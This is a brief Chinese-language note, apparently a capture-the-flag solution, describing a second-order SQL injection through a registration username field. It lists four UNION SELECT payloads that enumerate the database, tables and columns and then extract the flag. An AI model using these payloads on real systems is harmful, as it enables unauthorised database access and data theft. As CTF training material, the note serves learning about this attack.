二次注入
    字符型注入
    在 注册界面的 username内填入注入语句，
    登录得到回显

    1. x' union select database()# 
    2. x' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #
    3. x' union select group_concat(column_name) from information_schema.columns where table_name='flag' #
    4. x' union select flag from flag #